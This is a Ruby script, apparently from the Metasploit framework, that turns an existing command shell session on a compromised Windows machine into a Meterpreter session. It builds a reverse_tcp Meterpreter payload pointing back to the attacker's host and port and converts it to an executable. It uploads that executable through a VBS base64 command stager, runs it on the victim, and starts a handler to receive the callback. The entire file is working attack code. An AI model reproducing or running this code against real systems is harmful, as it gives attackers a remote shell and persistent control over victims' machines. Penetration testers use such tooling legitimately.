#
# Spawn a meterpreter session using an existing command shell session
#
# NOTE: Some of the following code is duplicated from the VBS CmdStager
#
# This is really only to prove the concept for now.
#
# -jduck
#


#
# Show the progress of the upload
#
def progress(total, sent)
  done = (sent.to_f / total.to_f) * 100
  print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
end


raise RuntimeError, "You must select a session." if (not session)
raise RuntimeError, "Selected session is not a command shell session!" if (session.type != "shell")

# Check for required datastore options
if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT'])
  raise RuntimeError, "You must set LPORT and LHOST for this script to work."
end


lhost = session.exploit_datastore['LHOST']
lport = session.exploit_datastore['LPORT']

# maybe we want our sessions going to another instance?
use_handler = true
use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)

# Process special var/val pairs...
# XXX: Not supported yet...
#Msf::Ui::Common.process_cli_arguments($framework, ARGV)


# Create the payload instance
payload_name = 'windows/meterpreter/reverse_tcp'
payload = framework.payloads.create(payload_name)
options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options)

#
# Spawn the handler if needed
#
aborted = false
begin

  mh = nil
  if (use_handler)
    mh = framework.modules.create("exploit/multi/handler")
    mh.datastore['LPORT'] = lport
    mh.datastore['LHOST'] = lhost
    mh.datastore['PAYLOAD'] = payload_name
    mh.datastore['ExitOnSession'] = false
    mh.datastore['EXITFUNC'] = 'process'
    mh.exploit_simple(
      'LocalInput'     => session.user_input,
      'LocalOutput'    => session.user_output,
      'Payload'        => payload_name,
      'RunAsJob'       => true)
    # It takes a little time for the resources to get set up, so sleep for
    # a bit to make sure the exploit is fully working.  Without this,
    # mod.get_resource doesn't exist when we need it.
    select(nil, nil, nil, 0.5)
    if framework.jobs[mh.job_id.to_s].nil?
      raise RuntimeError, "Failed to start multi/handler - is it already running?"
    end
  end


  #
  # Make the payload into an exe for the CmdStager
  #
  lplat = [Msf::Platform::Windows]
  larch = [ARCH_X86]
  linemax = 1700
  if (session.exploit_datastore['LineMax'])
    linemax = session.exploit_datastore['LineMax'].to_i
  end
  opts = {
    :linemax => linemax,
    :decoder => File.join(Msf::Config.data_directory, "data", "exploits", "cmdstager", "vbs_b64"),
    #:nodelete => true # keep temp files (for debugging)
  }
  exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)


  #
  # Generate the stager command array
  #
  cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
  cmds = cmdstager.generate(opts)
  if (cmds.nil? or cmds.length < 1)
    print_error("The command stager could not be generated")
    raise ArgumentError
  end

  #
  # Calculate the total size
  #
  total_bytes = 0
  cmds.each { |cmd| total_bytes += cmd.length }


  #
  # Run the commands one at a time
  #
  sent = 0
  cmds.each { |cmd|
    ret = session.shell_command_token_win32(cmd)
    if (not ret)
      aborted = true
    else
      ret.strip!
      if (not ret.empty?)
        aborted = true
      end
    end
    if aborted
      print_error("Error: Unable to execute the following command:")
      print_error(cmd.inspect)
      print_error('Output: ' + ret.inspect) if ret and not ret.empty?
      break
    end

    sent += cmd.length

    progress(total_bytes, sent)
  }
rescue ::Interrupt
  # TODO: cleanup partial uploads!
  aborted = true
rescue => e
  print_error("Error: #{e}")
  aborted = true
end

#
# Stop the job
#
if (use_handler)
  Thread.new do
    if not aborted
      # Wait up to 10 seconds for the session to come in..
      select(nil, nil, nil, 10)
    end
    framework.jobs.stop_job(mh.job_id)
  end
end